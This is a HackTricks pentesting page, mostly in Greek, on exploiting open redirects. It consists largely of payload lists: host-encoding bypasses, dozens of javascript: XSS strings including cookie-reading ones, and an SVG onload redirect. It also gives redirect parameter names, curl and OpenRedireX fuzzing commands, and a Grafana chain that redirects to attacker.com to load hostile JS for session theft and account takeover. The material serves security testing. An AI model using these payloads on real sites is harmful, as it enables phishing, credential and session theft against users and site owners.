Open Redirect

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Open redirect

Redirect to localhost or arbitrary domains

  • Αν η εφαρμογή “allows only internal/whitelisted hosts”, δοκίμασε εναλλακτικές σημάνσεις host για να προσπελάσεις loopback ή εσωτερικά ranges μέσω του redirect target:
  • IPv4 loopback variants: 127.0.0.1, 127.1, 2130706433 (decimal), 0x7f000001 (hex), 017700000001 (octal)
  • IPv6 loopback variants: [::1], [0:0:0:0:0:0:0:1], [::ffff:127.0.0.1]
  • Trailing dot and casing: localhost., LOCALHOST, 127.0.0.1.
  • Wildcard DNS that resolves to loopback: lvh.me, sslip.io (e.g., 127.0.0.1.sslip.io), traefik.me, localtest.me. Αυτά είναι χρήσιμα όταν επιτρέπονται μόνο “subdomains of X” αλλά η ανάλυση host εξακολουθεί να δείχνει στο 127.0.0.1.
  • Network-path references often bypass naive validators that prepend a scheme or only check prefixes:
  • //attacker.tld → interpreted as scheme-relative and navigates off-site with the current scheme.
  • Userinfo tricks defeat contains/startswith checks against trusted hosts:
  • https://trusted.tld@attacker.tld/ → ο browser πηγαίνει στο attacker.tld αλλά απλοί έλεγχοι συμβολοσειράς “βλέπουν” trusted.tld.
  • Backslash parsing confusion between frameworks/browsers:
  • https://trusted.tld@attacker.tld → μερικά backends treat “\” as a path char and pass validation; browsers normalize to “/” and interpret trusted.tld as userinfo, sending users to attacker.tld. Αυτό εμφανίζεται επίσης σε Node/PHP URL-parser mismatches.

URL Format Bypass

Modern open-redirect to XSS pivots

#Basic payload, javascript code is executed after "javascript:"
javascript:alert(1)

#Bypass "javascript" word filter with CRLF
java%0d%0ascript%0d%0a:alert(0)

# Abuse bad subdomain filter
javascript://sub.domain.com/%0Aalert(1)

#Javascript with "://" (Notice that in JS "//" is a line coment, so new line is created before the payload). URL double encoding is needed
#This bypasses FILTER_VALIDATE_URL os PHP
javascript://%250Aalert(1)

#Variation of "javascript://" bypass when a query is also needed (using comments or ternary operator)
javascript://%250Aalert(1)//?1
javascript://%250A1?alert(1):0

#Others
%09Jav%09ascript:alert(document.domain)
javascript://%250Alert(document.location=document.cookie)
/%09/javascript:alert(1);
/%09/javascript:alert(1)
//%5cjavascript:alert(1);
//%5cjavascript:alert(1)
/%5cjavascript:alert(1);
/%5cjavascript:alert(1)
javascript://%0aalert(1)
<>javascript:alert(1);
//javascript:alert(1);
//javascript:alert(1)
/javascript:alert(1);
/javascript:alert(1)
\j\av\a\s\cr\i\pt\:\a\l\ert\(1\)
javascript:alert(1);
javascript:alert(1)
javascripT://anything%0D%0A%0D%0Awindow.alert(document.cookie)
javascript:confirm(1)
javascript://https://whitelisted.com/?z=%0Aalert(1)
javascript:prompt(1)
jaVAscript://whitelisted.com//%0d%0aalert(1);//
javascript://whitelisted.com?%a0alert%281%29
/x:1/:///%01javascript:alert(document.cookie)/
";alert(0);//
Πιο σύγχρονα URL-based bypass payloads ```text # Scheme-relative (current scheme is reused) //evil.example

Credentials (userinfo) trick

https://trusted.example@evil.example/

Backslash confusion (server validates, browser normalizes)

https://trusted.example@evil.example/

Schemeless with whitespace/control chars

evil.example%00 %09//evil.example

Prefix/suffix matching flaws

https://trusted.example.evil.example/ https://evil.example/trusted.example

When only path is accepted, try breaking absolute URL detection

/\evil.example /..//evil.example

</details>

## Open Redirect μεταφόρτωση αρχείων svg
```html
<code>
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<svg
onload="window.location='http://www.example.com'"
xmlns="http://www.w3.org/2000/svg">
</svg>
</code>

Κοινές παράμετροι injection

/{payload}
?next={payload}
?url={payload}
?target={payload}
?rurl={payload}
?dest={payload}
?destination={payload}
?redir={payload}
?redirect_uri={payload}
?redirect_url={payload}
?redirect={payload}
/redirect/{payload}
/cgi-bin/redirect.cgi?{payload}
/out/{payload}
/out?{payload}
?view={payload}
/login?to={payload}
?image_url={payload}
?go={payload}
?return={payload}
?returnTo={payload}
?return_to={payload}
?checkout_url={payload}
?continue={payload}
?return_path={payload}
success=https://c1h2e1.github.io
data=https://c1h2e1.github.io
qurl=https://c1h2e1.github.io
login=https://c1h2e1.github.io
logout=https://c1h2e1.github.io
ext=https://c1h2e1.github.io
clickurl=https://c1h2e1.github.io
goto=https://c1h2e1.github.io
rit_url=https://c1h2e1.github.io
forward_url=https://c1h2e1.github.io
@https://c1h2e1.github.io
forward=https://c1h2e1.github.io
pic=https://c1h2e1.github.io
callback_url=https://c1h2e1.github.io
jump=https://c1h2e1.github.io
jump_url=https://c1h2e1.github.io
click?u=https://c1h2e1.github.io
originUrl=https://c1h2e1.github.io
origin=https://c1h2e1.github.io
Url=https://c1h2e1.github.io
desturl=https://c1h2e1.github.io
u=https://c1h2e1.github.io
page=https://c1h2e1.github.io
u1=https://c1h2e1.github.io
action=https://c1h2e1.github.io
action_url=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
sp_url=https://c1h2e1.github.io
service=https://c1h2e1.github.io
recurl=https://c1h2e1.github.io
j?url=https://c1h2e1.github.io
url=//https://c1h2e1.github.io
uri=https://c1h2e1.github.io
u=https://c1h2e1.github.io
allinurl:https://c1h2e1.github.io
q=https://c1h2e1.github.io
link=https://c1h2e1.github.io
src=https://c1h2e1.github.io
tc?src=https://c1h2e1.github.io
linkAddress=https://c1h2e1.github.io
location=https://c1h2e1.github.io
burl=https://c1h2e1.github.io
request=https://c1h2e1.github.io
backurl=https://c1h2e1.github.io
RedirectUrl=https://c1h2e1.github.io
Redirect=https://c1h2e1.github.io
ReturnUrl=https://c1h2e1.github.io

Παραδείγματα κώδικα

.Net

response.redirect("~/mysafe-subdomain/login.aspx")

Java

response.redirect("http://mysafedomain.com");

PHP

<?php
/* browser redirections*/
header("Location: http://mysafedomain.com");
exit;
?>

Hunting and exploitation workflow (πρακτικό)

  • Έλεγχος μεμονωμένου URL με curl:
curl -s -I "https://target.tld/redirect?url=//evil.example" | grep -i "^Location:"
  • Εντοπίστε και fuzz πιθανές παραμέτρους σε μεγάλη κλίμακα:
Κάντε κλικ για επέκταση ```bash # 1) Gather historical URLs, keep those with common redirect params cat domains.txt \ | gau --o urls.txt # or: waybackurls / katana / hakrawler

2) Grep common parameters and normalize list

rg -NI “(url=|next=|redir=|redirect|dest=|rurl=|return=|continue=)” urls.txt
| sed ‘s/\r$//’ | sort -u > candidates.txt

3) Use OpenRedireX to fuzz with payload corpus

cat candidates.txt | openredirex -p payloads.txt -k FUZZ -c 50 > results.txt

4) Manually verify interesting hits

awk ‘/30[1237]|Location:/I’ results.txt

</details>

- Μην ξεχάσετε τα client-side sinks σε SPAs: ψάξτε για window.location/assign/replace και framework helpers που διαβάζουν query/hash και redirect.

- Frameworks συχνά εισάγουν footguns όταν τα redirect destinations προκύπτουν από untrusted input (query params, Referer, cookies). Δείτε τις Next.js σημειώσεις για redirects και αποφύγετε dynamic destinations που προκύπτουν από user input.

<a class="content_ref" href="../network-services-pentesting/pentesting-web/nextjs.md"><span class="content_ref_label">NextJS</span></a>

- OAuth/OIDC flows: η κατάχρηση open redirectors συχνά κλιμακώνεται σε account takeover με leaking authorization codes/tokens. Δείτε τον ειδικό οδηγό:

<a class="content_ref" href="./oauth-to-account-takeover.md"><span class="content_ref_label">OAuth to Account takeover</span></a>

- Server responses που υλοποιούν redirects χωρίς Location (meta refresh/JavaScript) εξακολουθούν να είναι exploitable για phishing και μερικές φορές μπορούν να αλυσοδεθούν. Grep for:
```html
<meta http-equiv="refresh" content="0;url=//evil.example">
<script>location = new URLSearchParams(location.search).get('next')</script>

Fragment smuggling + client-side traversal chain (Grafana-style bypass)

  • Κενό στον server (Go url.Parse + raw redirect): ελεγκτές που εξετάζουν μόνο το URL.Path και αγνοούν το URL.Fragment μπορούν να εξαπατηθούν αν τοποθετήσετε τον εξωτερικό host μετά το #. Αν ο handler στη συνέχεια κατασκευάσει το Location από το unsanitized string, τα fragments leak πίσω στον redirect target. Παράδειγμα κατά του /user/auth-tokens/rotate:
  • Request: GET /user/auth-tokens/rotate?redirectTo=/%23/..//\//attacker.com HTTP/1.1
  • Η ανάλυση βλέπει Path=/ και Fragment=/..//\//attacker.com, οπότε regex + path.Clean() εγκρίνουν το /, αλλά η απάντηση εκπέμπει Location: /\//attacker.com, λειτουργώντας ως open redirect.
  • Κενό στην πλευρά του client (validate decoded/cleaned, return original): helpers σε SPA που αποκωδικοποιούν πλήρως ένα path (συμπεριλαμβανομένου του διπλά-encoded ?), αφαιρούν το query για validation, αλλά μετά επιστρέφουν το original string επιτρέπουν στα encoded ../ να επιβιώσουν. Η αποκωδικοποίηση από τον browser στη συνέχεια το μετατρέπει σε traversal προς οποιοδήποτε same-origin endpoint (π.χ. το redirect gadget). Πρότυπο payload:
  • /dashboard/script/%253f%2f..%2f..%2f..%2f..%2f..%2fuser/auth-tokens/rotate
  • Ο validator ελέγχει /dashboard/script/ (χωρίς ..), επιστρέφει το encoded string, και ο browser πηγαίνει στο /user/auth-tokens/rotate.
  • End-to-end XSS/ATO: αλυσοδέστε το traversal με το fragment-smuggled redirect για να αναγκάσετε τον dashboard script loader να φορτώσει attacker JS:
https://<grafana>/dashboard/script/%253f%2f..%2f..%2f..%2f..%2f..%2fuser%2fauth-tokens%2frotate%3fredirectTo%3d%2f%2523%2f..%2f%2f%5c%2fattacker.com%2fmodule.js
  • Το path traversal φτάνει στο rotate endpoint, που εκδίδει ένα 302 προς attacker.com/module.js από το fragment-smuggled redirectTo. Βεβαιωθείτε ότι ο attacker origin σερβίρει JS με permissive CORS ώστε ο browser να το εκτελέσει, οδηγώντας σε session theft/account takeover.

Εργαλεία

# Install
git clone https://github.com/devanshbatham/OpenRedireX && cd OpenRedireX && ./setup.sh

# Fuzz a list of candidate URLs (use FUZZ as placeholder)
cat list_of_urls.txt | ./openredirex.py -p payloads.txt -k FUZZ -c 50

Αναφορές

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Μάθετε & εξασκηθείτε στο Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks